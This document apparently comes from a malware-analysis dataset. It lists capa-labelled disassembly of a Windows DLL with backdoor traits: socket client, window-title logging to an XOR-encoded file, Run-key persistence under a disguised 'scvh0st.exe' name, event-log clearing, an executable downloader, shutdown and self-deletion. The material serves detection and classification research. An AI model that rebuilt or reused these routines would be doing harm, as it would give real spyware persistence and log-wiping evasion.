joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001b60
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x1000ba9a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x194
push esi
mov esi, ecx
mov dword [esp + 4], esi
lea ecx, [esi + 4]
call fcn.10001000
lea ecx, [esi + 0x14]
mov dword [esp + 0x1a0], 0
call fcn.10001000
lea ecx, [esi + 0x24]
mov byte [esp + 0x1a0], 1
call fcn.10001000
lea ecx, [esi + 0x34]
mov byte [esp + 0x1a0], 2
call fcn.10001000
lea eax, [esp + 8]
mov dword [esi], 0x1000c308
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov byte [esp + 4], 0x78
mov byte [esp + 5], 0x79
mov dx, word [esp + 4]
lea ecx, [esi + 0x50]
mov dword [esi + 0x4c], eax
mov al, 0x20
mov word [ecx], dx
mov byte [esi + 0x53], 0
mov dword [esi + 0x48], 0xffffffff
mov byte [ecx + 2], al
mov ecx, dword [esp + 0x198]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a0
ret

Function at 0x10001d00
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x24
push esi
push edi
mov esi, ecx
call fcn.100021c0
mov eax, dword [esi + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [esi + 0x53], 0
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0x48], eax
jne 0x10001d38
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov ecx, dword [esp + 0x30]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x10001d53
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov edx, dword [esp + 0x34]
mov word [esp + 0x1c], 2
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1e], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x20]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 0x48]
push ecx
mov dword [esp + 0x2c], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10001d95
pop edi
xor al, al
pop esi
add esp, 0x24
ret 8
mov eax, dword [esi + 0x48]
lea edx, [esp + 8]
push 4
push edx
push 8
push 0xffff
push eax
mov dword [esp + 0x1c], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001df0
push eax
lea ecx, [esp + 0x10]
push eax
push ecx
push eax
push eax
mov eax, dword [esi + 0x48]
lea edx, [esp + 0x24]
push 0xc
push edx
push 0x98000004
push eax
mov dword [esp + 0x34], 1
mov dword [esp + 0x38], 0x2bf20
mov dword [esp + 0x3c], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0
push 0
push 0
push esi
push 0x10001e20
push 0
push 0
mov byte [esi + 0x53], 1
call fcn.10008140
add esp, 0x1c
mov dword [esi + 0x44], eax
mov al, 1
pop edi
pop esi
add esp, 0x24
ret 8
Function at 0x10002390
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
push ebx
mov ebp, ecx
push edi
call fcn.10001b30
mov esi, dword [esp + 0x24]
mov eax, ebx
add esp, 8
cmp eax, esi
mov dword [esp + 0x14], 0
jb 0x10002403
mov dword [esp + 0x1c], 0
mov eax, dword [ebp + 0x48]
push 0
push esi
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x100023e2
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x1c], ecx
jl 0x100023c2
cmp dword [esp + 0x1c], 0xf
je 0x10002436
mov ecx, dword [esp + 0x14]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x100023ba
test ebx, ebx
jle 0x1000242a
xor esi, esi
mov ecx, dword [ebp + 0x48]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x10002421
inc esi
cmp esi, 0xf
jl 0x10002409
cmp esi, 0xf
je 0x10002436
add dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
je 0x10002439
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret 0xc
Function at 0x10002450
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
or ecx, 0xffffffff
mov edi, str._._mnbvcxz_lkjhgfdsa__poiuytrewq
xor eax, eax
lea edx, [esp + 0x14]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x18]
and ecx, 3
push 0x80
rep movsb byte es:[edi], byte [esi]
mov edi, 0x10011c0c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 4
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x20]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 2
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x28]
and ecx, 3
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
push 0
push ebp
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10002532
push 2
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [esp + 0x11c]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test esi, esi
jle 0x10002561
mov ecx, ebx
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x10002555
lea eax, [esp + 0x10]
push 0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x10002590
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x410
push esi
push edi
mov ecx, 0x100
xor eax, eax
mov edi, 0x100134cc
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x100134cc
push eax
mov dword [0x100138cc], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x100134c8]
xor esi, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x100138cc]
cmp eax, ecx
je 0x1000268b
push 0x100134cc
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x1000267f
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x12]
mov ecx, dword [esp + 0x10]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x12]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x12]
push ecx
mov ecx, dword [esp + 0x14]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
push 0x100134cc
lea edx, [esp + 0x34]
push 0x10011868
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x3c]
push eax
call fcn.10002450
add esp, 0x28
mov ecx, 0x100
xor eax, eax
mov edi, 0x100134cc
rep stosd dword es:[edi], eax
mov esi, 1
mov ecx, dword [0x100138cc]
mov dword [0x100134c8], ecx
mov eax, esi
pop edi
pop esi
add esp, 0x410
ret

Function at 0x100028b0
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x164
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x69]
mov byte [esp + 0x68], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x68]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xa
mov esi, str.C:Program_FilesCommon_Files_scvh0st.exe
lea edi, [esp + 0xc]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xc
lea edi, [esp + 0x36]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x6c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
jne 0x1000295c
mov edx, dword [esp + 0x168]
lea ecx, [esp + 0x60]
push 0x104
push ecx
push 1
push eax
mov eax, dword [esp + 0x10]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
add esp, 0x164
ret

Function at 0x10002da0
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.10008390
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.10008390
add esp, 8
ret
Function at 0x10002e20
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x10]
mov dword [esp], str.Application
and eax, 0xff
mov dword [esp + 4], str.Security
dec eax
mov dword [esp + 8], str.System
cmp eax, 3
ja case.default.0x10002e4a
jmp dword [eax*4 + 0x10002ec8]
mov eax, 0x10013460
mov dword [esp + 4], eax
mov dword [esp + 8], eax
jmp case.0x10002e4a.1
mov eax, 0x10013460
mov dword [esp], eax
mov dword [esp + 8], eax
jmp case.0x10002e4a.1
mov eax, 0x10013460
mov dword [esp], eax
mov dword [esp + 4], eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
lea edi, [esp + 0x10]
mov dword [esp + 0x20], 3
mov ecx, dword [edi]
push ecx
push 0
call ebx
mov esi, eax
test esi, esi
je 0x10002eb1
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x20]
add edi, 4
dec eax
mov dword [esp + 0x20], eax
jne 0x10002e98
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret

Function at 0x10002ee0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x428
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x30]
mov dl, 0x53
rep stosd dword es:[edi], eax
mov al, 0x65
mov cl, 0x72
mov byte [esp + 0x13], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x22], al
mov byte [esp + 0x27], al
mov al, 0x73
mov byte [esp + 0x11], cl
mov byte [esp + 0x28], al
mov byte [esp + 0x2b], al
mov eax, dword [esp + 0x434]
mov byte [esp + 0x12], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x23], cl
mov byte [esp + 8], dl
mov byte [esp + 0xa], dl
mov byte [esp + 0x1d], dl
mov byte [esp + 0x21], dl
lea ecx, [esp + 8]
push eax
lea edx, [esp + 0x34]
push ecx
push edx
mov byte [esp + 0x15], 0x59
mov byte [esp + 0x17], 0x54
mov byte [esp + 0x18], 0x45
mov byte [esp + 0x19], 0x4d
mov byte [esp + 0x1a], 0x5c
mov byte [esp + 0x1b], 0x43
mov byte [esp + 0x1c], 0x75
mov byte [esp + 0x20], 0x6e
mov byte [esp + 0x21], 0x74
mov byte [esp + 0x22], 0x43
mov byte [esp + 0x23], 0x6f
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x25], 0x74
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], 0x6c
mov byte [esp + 0x2b], 0x74
mov byte [esp + 0x2c], 0x5c
mov byte [esp + 0x30], 0x76
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x32], 0x63
mov byte [esp + 0x35], 0x5c
mov byte [esp + 0x36], 0x25
mov byte [esp + 0x38], 0
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [esp + 0x448]
add esp, 0xc
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x440]
push esi
push 1
lea ecx, [esp + 0x40]
push eax
push ecx
push getsockname
call fcn.10008a30
add esp, 0x1c
pop edi
pop esi
add esp, 0x428
ret
Function at 0x10003110
Capabilities:
Create process on windows
Query environment variable

Disassembly:
sub esp, 0x554
mov ecx, 0x41
xor eax, eax
push ebp
mov ebp, dword [esp + 0x55c]
push esi
push edi
lea edi, [esp + 0x60]
push 0x2e
rep stosd dword es:[edi], eax
push ebp
call fcn.100030d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x1000314a
pop edi
pop esi
xor al, al
pop ebp
add esp, 0x554
ret
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x165]
mov byte [esp + 0x164], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x20
push esi
stosb byte es:[edi], al
call fcn.100030d0
add esp, 8
test eax, eax
je 0x100031a7
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xfffffffe
test ecx, ecx
jle 0x100031b6
cmp byte [ecx + esi], 0x20
je 0x10003193
dec ecx
test ecx, ecx
jg 0x10003186
jmp 0x100031b6
push ecx
lea eax, [esp + 0x168]
push esi
push eax
call fcn.100089f0
add esp, 0xc
jmp 0x100031b6
lea ecx, [esp + 0x164]
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0x104
lea edx, [esp + 0x68]
push 0
push edx
push 1
lea eax, [esp + 0x178]
push 0
push eax
push closesocket
call fcn.10008760
add esp, 0x20
test eax, eax
jne 0x100031ed
pop edi
pop esi
xor al, al
pop ebp
add esp, 0x554
ret
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x36c]
lea edx, [esp + 0x36c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x60]
push ecx
push str._s_shellopencommand
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
mov byte [esp + 0x274], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x275]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0x104
lea eax, [esp + 0x27c]
push 0
push eax
push 2
lea ecx, [esp + 0x38c]
push 0
push ecx
push closesocket
call fcn.10008760
add esp, 0x2c
test eax, eax
jne 0x10003274
pop edi
pop esi
xor al, al
pop ebp
add esp, 0x554
ret
lea edx, [esp + 0x60]
push 0x104
lea eax, [esp + 0x26c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea ecx, [esp + 0x60]
push 0x10011954
push ecx
call esi
add esp, 8
test eax, eax
jne 0x100032d4
lea edx, [esp + 0x60]
push 0x10011950
push edx
call esi
add esp, 8
test eax, eax
jne 0x100032d4
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x60]
push 0x1001194c
push eax
call esi
lea ecx, [esp + 0x60]
push ebp
push ecx
call esi
jmp 0x100032dc
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x568]
mov dword [esp + 0xc], 0x44
test eax, eax
je 0x10003306
mov dword [esp + 0x14], str.WinSta0Default
jmp 0x10003315
mov dword [esp + 0x38], 1
mov word [esp + 0x3c], 0
lea edx, [esp + 0x50]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x7c]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
mov al, 1
pop ebp
add esp, 0x554
ret
Function at 0x10003350
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x2dc
push ebx
mov ebx, dword [esp + 0x2e4]
push esi
push edi
mov ecx, 0x5c
mov esi, ebx
lea edi, [esp + 0x178]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x59
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
push 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
push 2
stosb byte es:[edi], al
push 0
push 1
lea eax, [esp + 0x298]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100033b5
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x2dc
ret
mov edx, dword [esp + 0x2f0]
lea ecx, [esp + 0xc]
push 0
add edx, 0xfffffe90
push ecx
add ebx, 0x170
push edx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x100033e6
pop edi
pop esi
pop ebx
add esp, 0x2dc
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edi, [esp + 0x180]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10003425
lea eax, [esp + 0x180]
lea ecx, [esp + 0x284]
push eax
push ecx
lea edx, [esp + 0x18]
push str._s__s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x10003438
lea eax, [esp + 0x284]
lea ecx, [esp + 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x17c]
sub eax, 0
je 0x10003471
dec eax
je 0x10003468
sub eax, 2
jne 0x10003480
lea edx, [esp + 0x10]
push edx
call fcn.100030b0
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x2dc
ret
lea eax, [esp + 0x10]
push 0
push eax
jmp 0x10003478
lea ecx, [esp + 0x10]
push 5
push ecx
call fcn.10003110
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2dc
ret

Function at 0x10003540
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, dword [esp + 4]
inc eax
push eax
push 0x10003490
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [0x100138d4]
test eax, eax
je 0x10003575
lea ecx, [esp + 4]
push 1
push ecx
mov ecx, dword [esp + 0x10]
mov byte [esp + 0xc], 0xd4
call fcn.10002230
mov eax, 1
ret
mov dword [0x100138d4], 0
xor eax, eax
ret
Function at 0x100035c0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x158
or ecx, 0xffffffff
xor eax, eax
push esi
mov esi, dword [esp + 0x160]
push edi
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x100036a0
mov ecx, 0x41
lea edi, [esp + 0x5c]
push eax
push 0x104
rep stosd dword es:[edi], eax
push eax
lea eax, [esp + 0x68]
push eax
push 1
push 0
push str.Applicationsiexplore.exe_shellopencommand
push closesocket
call fcn.10008760
add esp, 0x20
test eax, eax
je 0x100036a0
lea ecx, [esp + 0x5c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x100036a0
lea edx, [esp + 0x5c]
push 0x10011950
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x100036a0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x168]
mov dword [esp + 8], 0x44
test eax, eax
je 0x1000366e
mov dword [esp + 0x10], str.WinSta0Default
jmp 0x1000367d
mov dword [esp + 0x34], 1
mov word [esp + 0x38], 0
lea eax, [esp + 0x4c]
lea ecx, [esp + 8]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x78]
push 0
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop esi
add esp, 0x158
ret
Function at 0x100036b0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x418
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebx, 1
push str.wininet.dll
mov dword [esp + 0x18], edi
mov dword [esp + 0x24], edi
mov byte [esp + 0x17], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenA
push esi
call ebp
push edi
push edi
push edi
push edi
push str.MSIE_6.0
call eax
mov edi, eax
test edi, edi
mov dword [esp + 0x24], edi
je 0x10003723
push str.InternetOpenUrlA
push esi
call ebp
mov ecx, dword [esp + 0x42c]
push 0
push closesocket
push 0
push 0
push ecx
push edi
call eax
test eax, eax
mov dword [esp + 0x18], eax
jne 0x1000373b
test esi, esi
je 0x1000372e
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret
mov edx, dword [esp + 0x430]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x100037d4
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x28]
push str.InternetReadFile
rep stosd dword es:[edi], eax
push esi
call ebp
lea ecx, [esp + 0x14]
lea edx, [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x1c]
push 0x400
push edx
push ecx
call eax
test ebx, ebx
je 0x10003799
cmp word [esp + 0x28], 0x5a4d
jne 0x100037c0
mov eax, dword [esp + 0x14]
xor ebx, ebx
lea edx, [esp + 0x20]
push ebx
push edx
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x30]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x100037c5
jmp 0x10003761
mov byte [esp + 0x13], 0
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x24]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push esi
call ebp
mov ecx, dword [esp + 0x18]
mov ebx, eax
push ecx
call ebx
push edi
call ebx
test esi, esi
je 0x100037fb
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x418
ret
Function at 0x10003b60
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
sub esp, 0x360
lea eax, [esp + 0x54]
push ebx
push ebp
push esi
push edi
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x10003ccd
lea ecx, [esp + 0x64]
push 0x104
lea edx, [esp + 0x68]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x10003ccd
lea eax, [esp + 0x26c]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x10003ccd
lea ecx, [esp + 0x168]
push str.__c_del
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x64]
lea eax, [esp + 0x168]
push edx
push eax
call esi
lea ecx, [esp + 0x168]
push str.___nul
push ecx
call esi
lea edx, [esp + 0x168]
lea eax, [esp + 0x26c]
push edx
push eax
call esi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [esp + 0x50], bx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
push 0x100
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0xf
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea edx, [esp + 0x10]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push 0
push 0xc
push 0
push 0
lea ecx, [esp + 0x288]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10003cbf
mov edx, dword [esp + 0x10]
push 0x40
push edx
call esi
mov eax, dword [esp + 0x14]
push 0xfffffffffffffff1
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x360
ret
push 0x20
call ebx
push eax
call esi
push 0
call ebp
push eax
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x360
ret